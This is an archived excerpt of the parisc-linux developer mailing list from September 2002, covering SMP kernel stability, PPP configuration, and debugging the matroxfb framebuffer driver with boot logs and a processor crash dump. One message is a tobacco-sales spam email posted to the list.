X-Trace: ger.gmane.org 1416621738 14220 80.91.229.3 (22 Nov 2014 02:02:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:18 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 02:27:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from simba.sch.bme.hu (simba.sch.bme.hu [152.66.215.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id A39FB4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 02:27:11 -0600 (MDT)
Original-Received: from localhost by simba.sch.bme.hu (8.8.8/1.1.22.3/04Nov00-0836PM)
	id KAA0000005393; Fri, 20 Sep 2002 10:28:25 +0200 (MET DST)
In-Reply-To: <20020919224609.DF1314829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16193

Thanks I'll try that!

Another question: If 2.4.19 SMP not enough stable where can I find the
latest stable smp kernel source?

Thanks,

__
Steve

On Thu, 19 Sep 2002, Grant Grundler wrote:

> Istvan Gyenes wrote:
> > Hello Joerg,
> >
> > The only difference between the non-smp and smp kernel config file is
> > CONFIG_SMP=yes , AFAIK.
> > I made a "make menuconfig" and the only thing I've changed is SMP support.
>
> I'm paranoid. I do "make distclean" when doing anything other than
> adding/removing drivers. Save/restore the .config if you need to before
> running "make distclean".  I don't trust the Makefiles to rebuild
> everything correctly for "global" CONFIG_ changes like "SMP".
>
> > The strange thing is that the precompiled smp kernel from the install cd
> > boots fine. (2.4.18-smp)
>
> SMP on 2.4.19 isn't as stable yet.  So that's no surprise.
>
> If you want to debug this further, define "EARLY_BOOTUP_DEBUG"
> in arch/parisc/kernel/pdc_cons.c and you should get more output
> about how far the kernel gets before it crashes/hangs.
>
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Petr Vandrovec" <VANDROVE@vc.cvut.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: partial success with matroxfb
Date: Fri, 20 Sep 2002 12:11:21 +0200
Organization: CC CTU Prague
Lines: 28
Approved: news@gmane.org
Message-ID: <251F50824F2@vcnet.vc.cvut.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621738 14223 80.91.229.3 (22 Nov 2014 02:02:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 04:11:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgw.cvut.cz (mailgw.cvut.cz [147.32.3.235])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F03A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 04:11:46 -0600 (MDT)
Original-Received: from mailgw.cvut.cz (localhost [127.0.0.1])
	by mailgw.cvut.cz (Postfix) with SMTP
	id EDFCF13B64D; Fri, 20 Sep 2002 12:11:37 +0200 (CEST)
Original-Received: from vcnet.vc.cvut.cz (vcnet.vc.cvut.cz [147.32.240.61])
	by mailgw.cvut.cz (Postfix) with ESMTP
	id AD05613B6B3; Fri, 20 Sep 2002 12:11:37 +0200 (CEST)
Original-Received: from VCNET/SpoolDir by vcnet.vc.cvut.cz (Mercury 1.48);
    20 Sep 02 12:11:37 +0100
Original-Received: from SpoolDir by VCNET (Mercury 1.48); 20 Sep 02 12:11:31 +0100
Priority: normal
X-mailer: Pegasus Mail v3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16194

On 20 Sep 02 at 2:27, Andreas Seltenreich wrote:

> Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor  Responder
> --- ---------- ---------------- -------- -- -- ---- ----- ---------- ----------
>  0  0xfff88000 I/O Adapter      8         2  0  he   0x3d 0xf2000000 0x000a1000 
>  0  0xfff8a000 I/O Adapter      10        2  2  he   0x0d 0x00000000 0x00000000 

> anotherhpmachien:~# cat /proc/iomem 
> 00000000-0fffffff : System RAM
> f2000000-f3ffffff : GSC Bus [8/]

Hi Andreas,
  boot with 'video=matrox:novga'. It looks like that Matrox responded
to the access to legacy VGA region 0xA0000-0xBFFFF. It does not happen
when CPU accesses this memory because of Matrox does not see this access
at all in such situation, because of host bridge directs it immediately 
to the system ram, without accessing PCI. But when access originated from 
some PCI busmaster, other PCI devices sees this access, and Mystique
claims it.

  And now both host bridge (for system RAM) and Mystique (for VGA region)
accepted bus cycle, and hardware went mad...

  I have no idea what second error reports, but it may be just triggered
by previous one.
                                                            Petr Vandrovec
                                                            


From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sales Department" <shopfortobacco@terra.es>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cheap Cigarettes
Date: Fri, 20 Sep 2002 14:03:00 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20020920124854.1E7F64829@dsl2.external.hp.com>
Reply-To: shopfortobacco@terra.es
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621739 14224 80.91.229.3 (22 Nov 2014 02:02:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 06:48:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from linux.local (unknown [213.9.245.78])
	by dsl2.external.hp.com (Postfix) with SMTP id 1E7F64829
	for <parisc-linux@parisc-linux.org>; Fri, 20 Sep 2002 06:48:54 -0600 (MDT)
Original-Received: (qmail 18462 invoked from network); 20 Sep 2002 11:57:41 -0000
Original-Received: from unknown (HELO h) (192.168.0.2)
  by linux.local with SMTP; 20 Sep 2002 11:57:41 -0000
X-Priority: 3
X-Library: Indy 8.0.25
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16195

Dear Sir or Madam

In the past you have requested information on discounted products. We hope that you find this of interest. If you are not a smoker, and find this email offensive, we sincerely apologise!  We will be only too happy to take you off our mailing list.

If you are a smoker, however, and are fed up with paying high prices for your cigarettes and tobacco, take a look at what we have to offer  by clicking on this link.
http://www.smokersassociation.co.uk/?S=32&ID=2

We can send you, legally, by registered air mail, direct to your door, 4 cartons of cigarettes or 40 pouches of rolling tobacco (all brands are available) from only 170 Euros - about 105 pounds - fully inclusive of postage and packing.  Why pay more?

To remove yourself from our mailing list, please click below
mailto:smokersclub@terra.es

Yours faithfully.
Smokers Association

http://www.smokersassociation.co.uk/?S=32&ID=2

xay4871241y


From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PPPD+PPTPD
Date: Fri, 20 Sep 2002 14:24:58 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <3D8B2FBA.40909@freebel.net>
References: <3D89A5D4.8050306@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621739 14229 80.91.229.3 (22 Nov 2014 02:02:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 07:20:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB0314829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 07:20:51 -0600 (MDT)
Original-Received: from freebel.net (62.235.70.67) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D38160600BC7A52; Fri, 20 Sep 2002 15:20:06 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16196

Hey Stephan,

IIRC the solution is to re-compile the kernel with option "PPP  support 
for sync tty ports" and not async (as usual). It solved this problem for me.

I hope it will help you too,

	Joel



Stephan Trajkoff wrote:
> Hello, please see the attachment.
> I use 2.4.18-pa61 kernel and enabled PPP support
> PPPD version is 2.4.1, PPTPD is 1.1.3
> 
> 
> ------------------------------------------------------------------------
> 
> Sep 19 13:22:41 obzor pppd[17190]: read: Resource temporarily unavailable
> Sep 19 13:22:41 obzor pppd[17190]: read /dev/ppp: Resource temporarily
> unavailable
> Sep 19 13:22:41 obzor pppd[17190]: rcvd [LCP ConfAck id=0x1 <asyncmap 0x0>
> <auth pap> <magic 0x2479cb91> <pcomp> <accomp>]
> Sep 19 13:22:41 obzor pppd[17190]: sent [LCP EchoReq id=0x0
> magic=0x2479cb91]
> Sep 19 13:22:41 obzor pppd[17190]: rcvd [PAP AuthReq id=0x1 user="kpematop"
> password=<hidden>]




From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP/UX binaries
Date: Fri, 20 Sep 2002 15:48:59 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <3D8B436B.6080109@freebel.net>
References: <20020919151734.GH845@tykepenguin.com>  <20020919152756.GA12481@tausq.org>  <20020919162729.V10583@parcelfarce.linux.theplanet.co.uk> <20020919190816.47F9337F2E@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621739 14230 80.91.229.3 (22 Nov 2014 02:02:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 08:56:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82CE94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 08:56:13 -0600 (MDT)
Original-Received: from freebel.net (62.235.70.67) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D80C5820001BFD3; Fri, 20 Sep 2002 16:44:07 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16197

hey all,

Is that bkp sources (command line are enough for me) are available 
somewhere now? (and where?)

Thanks for info,
	Joel


Matt Taggart wrote:
> Matthew Wilcox writes...
> 
> 
>>On Thu, Sep 19, 2002 at 08:27:56AM -0700, Randolph Chung wrote:
>>
>>>Bug Larry McVoy about it. :-) Apparently he was considering a palinux
>>>port at some point.
>>
>>no, don't bug Larry about it, he'll bug me for an A500... taggart,
>>did you have time to look into that yet?
> 
> 
> Oh yeah, I forgot. I will.
> 




From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: partial success with matroxfb
Date: Fri, 20 Sep 2002 17:50:27 +0200
Lines: 172
Approved: news@gmane.org
Message-ID: <20020920155026.GA22068@gate450.dyndns.org>
References: <251F50824F2@vcnet.vc.cvut.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621740 14232 80.91.229.3 (22 Nov 2014 02:02:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Petr Vandrovec <VANDROVE@vc.cvut.cz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 09:50:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hptux.heylan (pD9E4A8A7.dip.t-dialin.net [217.228.168.167])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FDA24829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 09:50:40 -0600 (MDT)
Original-Received: from andreas by hptux.heylan with local (Exim 3.35 #1 (Debian))
	id 17sQ32-0002KK-00; Fri, 20 Sep 2002 17:50:28 +0200
Mail-Followup-To: Petr Vandrovec <VANDROVE@vc.cvut.cz>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <251F50824F2@vcnet.vc.cvut.cz>
User-Agent: Mutt/1.4i
X-PGP-Key: http://gate450.dyndns.org/~andreas/gpg_public_key.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16198

Hi Petr,
	
* Petr Vandrovec <VANDROVE@vc.cvut.cz> [2002-09-20 12:12]:
>   boot with 'video=matrox:novga'. It looks like that Matrox responded

No success with novga or no_pci_retry either. It results in the same crash. 

> Can you print DAC registers 0x4C,0x4D,0x4E,0x4F after this message?
> 0x4C..0x4E should contain 8,7E,3, and 0x4F should contain 0 when
> PLL is not locked, and 0x40 if PLL is locked.

Ok, the code around the message now looks like this:

     if (!tmout)
	printk(KERN_ERR "matroxfb: Pixel PLL not locked after 5 secs\n");	
     for (i=0x4c; i<0x50; i++)
        printk(KERN_INFO "DAC register %02x=%x\n", i, inDAC1064(i));

It looks like m1064_compute() is called twice and succeeds the second 
time:

==========
anotherhpmachien:/usr/src/linux# modprobe matroxfb_base noinit=0 no_pci_retry=1  novga=1
Warning: /lib/momatroxfb: Matrox Mystique 220 (PCI) detected
dules/2.4.19-pa1post_shift_max: 3
7/kernel/driversref_freq: 14318
/video/matrox/mafreq: 133333
troxfb_base.o syvco_freq_min: 62000
mbol for parametin_div_min: 1
er mtrr not founin_div_max: 31
d
feed_div_min: 100
feed_div_max: 127
fmax: 220000
clk: 0C 78 00 14318 133267 66666
requested 640*480/8bpp (640*6547)
matroxfb: 640x480x8bpp (virtual: 640x6547)
matroxfb: framebuffer at 0xF3000000, mapped to 0xf3000000, size
4194304
requested 640*480/8bpp (640*6547)
post_shift_max: 3
ref_freq: 14318
freq: 25175
vco_freq_min: 62000
in_div_min: 1
in_div_max: 31
feed_div_min: 100
feed_div_max: 127
fmax: 220000
clk: 08 7E 03 14318 202042 50350
matroxfb: Pixel PLL not locked after 5 secs
DAC register 4c=8
DAC register 4d=7e
DAC register 4e=1f
DAC register 4f=0
MiscOutReg: 8B
SEQ regs:   00:01:0F:00:0E:
GDC regs:   00:00:00:00:00:40:05:0F:FF:
CRTC regs:  5F:4F:4F:83:51:9D:0B:3E:00:40:00:00:00:00:00:00:E9:2B:DF:28:00:DF:0C:C3:FF:
ATTR regs:  00:01:02:03:04:05:06:07:08:09:0A:0B:0C:0D:0E:0F:41:FF:0F:00:00:
requested 640*480/8bpp (640*6547)
post_shift_max: 3
ref_freq: 14318
freq: 25175
vco_freq_min: 62000
in_div_min: 1
in_div_max: 31
feed_div_min: 100
feed_div_max: 127
fmax: 220000
clk: 08 7E 03 14318 202042 50350
DAC register 4c=8
DAC register 4d=7e
DAC register 4e=1f
DAC register 4f=40
MiscOutReg: 8B
SEQ regs:   00:01:0F:00:0E:
GDC regs:   00:00:00:00:00:40:05:0F:FF:
CRTC regs:  5F:4F:4F:83:51:9D:0B:3E:00:40:00:00:00:00:00:00:E9:2B:DF:28:00:DF:0C:C3:FF:
ATTR regs:  00:01:02:03:04:05:06:07:08:09:0A:0B:0C:0D:0E:0F:41:FF:0F:00:00:
Console: switching to colour frame buffer device 80x30
fb0: MATROX VGA frame buffer device
anotherhpmachien:/usr/src/linux# sync
anotherhpmachien:/usr/src/linux# ping -f athlon
PING athlon (192.168.0.11): 56 data bytes
............

kernel BUG at printk.c:489!
* box reboots
`INIT C4CC
INIT C4CF
INIT C4CD
[...]
Main Menu: Enter command > ser pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =   Fri Sep  20 13:55:23 GMT 2002    (20:02:09:20:13:55:23)

HPMC Chassis Codes = 0xcbf0  0x5002  0x540f  0x5508  0xcbfb  

General Registers 0 - 31
00-03   0000000000000000  0000000010368010  000000001024382c  0000000000000001
04-07   0000000000000006  000000001031e810  00000000103c0918  00000000103e2010
08-11   000000000000000f  000000000000004d  000000000004000e  000000001037c5ac
12-15   0000000000000000  0000000000000000  00000000103e3010  00000000103e3010
16-19   00000000103e2810  00000000103e2cdc  000000001031f810  00000000f3fffc0a
20-23   000000000000000e  000000000000000e  0000000000000001  0000000000919dda
24-27   0000000000000001  0000000000000001  00000000ffffff9d  0000000010304010
28-31   0000000000000010  0000000000004001  00000000103c0a40  00000000103e2010

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   000000000000057a  0000000000000000  00000000000000c0  000000000000000a
12-15   0000000000000000  0000000000000000  0000000000107000  00000000f0000000
16-19   0000000712615173  0000000000000000  0000000010243858  0000000000141860
20-23   000000009207ffcf  c0000000fffffc00  000000000004010c  0000000000000000
24-27   0000000000326000  000000000f6d1000  00000000ffffffff  00000000ffffffff
28-31   00000000ffffffff  00000000ffffffff  00000000103c0000  00000000103c8000

Space Registers 0 - 7
00-03   00000000          00000000          00000000          000002bd
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000001024385c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00305004
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff3fffc0a
System Requestor Address     = 0xfffffffffffa0000
Check Summary                = 0x8000000810004000
Available Memory             = 0x0000000000000000
CPU Diagnose Register 2      = 0x0501000000000004
CPU Status Register 0        = 0x1420c20000000000
CPU Status Register 1        = 0x8000000800000000
SADD LOG                     = 0x0f0810940f481094
Read Short LOG               = 0xc14200fff3fffc0a

<Press any key to continue (q to quit)> 

Memory Error Log Information:

Timestamp =   Fri Sep  20 13:55:23 GMT 2002    (20:02:09:20:13:55:23)

   No memory errors logged


I/O Module Error Log Information:

Timestamp =   Fri Sep  20 13:55:25 GMT 2002    (20:02:09:20:13:55:25)

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor  Responder
--- ---------- ---------------- -------- -- -- ---- ----- ---------- ----------
 0  0xfff88000 I/O Adapter      8         2  0  he   0x3d 0xf2000000 0x000a1000 
 0  0xfff8a000 I/O Adapter      10        2  2  he   0x0d 0x00000000 0x00000000 

regards
andreas


From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partial success with matroxfb
Date: Fri, 20 Sep 2002 17:54:30 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20020920155429.GB22068@gate450.dyndns.org>
References: <20020821232010.GD15344@gate450.dyndns.org> <20020822225054.GA24190@ppc.vc.cvut.cz> <20020920002700.GY22068@gate450.dyndns.org> <200209200923.31247.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621740 14235 80.91.229.3 (22 Nov 2014 02:02:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Petr Vandrovec <vandrove@vc.cvut.cz>
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 09:54:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hptux.heylan (pD9E4A8A7.dip.t-dialin.net [217.228.168.167])
	by dsl2.external.hp.com (Postfix) with ESMTP id 203EF4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 09:54:36 -0600 (MDT)
Original-Received: from andreas by hptux.heylan with local (Exim 3.35 #1 (Debian))
	id 17sQ6w-0002L5-00; Fri, 20 Sep 2002 17:54:30 +0200
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org,
	Petr Vandrovec <vandrove@vc.cvut.cz>
Content-Disposition: inline
In-Reply-To: <200209200923.31247.deller@gmx.de>
User-Agent: Mutt/1.4i
X-PGP-Key: http://gate450.dyndns.org/~andreas/gpg_public_key.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16199

Hallo Helge,
	
* Helge Deller <deller@gmx.de> [2002-09-20 09:25]:
> instead of 
> 
>  static inline unsigned int mga_readb(vaddr_t va, unsigned int offs) {
> +	return __raw_readb(va.vaddr + offs);
> - 	return readb(va.vaddr + offs);
>  }
> 
> I think you should use the
> 	fb_readXXX() and fb_writeXX()
> functions from include/video/fbcon.h which are automatically
> initialized correctly acording to the architecture.

I fear this would still break m68k because it is defined differently
in include/video/fbcon.h than in include/asm-m68k/io.h. matroxfb is
currently using the definition from io.h.

regards
andreas


From - Thu Nov 08 21:24:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Petr Vandrovec" <VANDROVE@vc.cvut.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: partial success with matroxfb
Date: Fri, 20 Sep 2002 18:10:52 +0200
Organization: CC CTU Prague
Lines: 34
Approved: news@gmane.org
Message-ID: <257F2C27A66@vcnet.vc.cvut.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
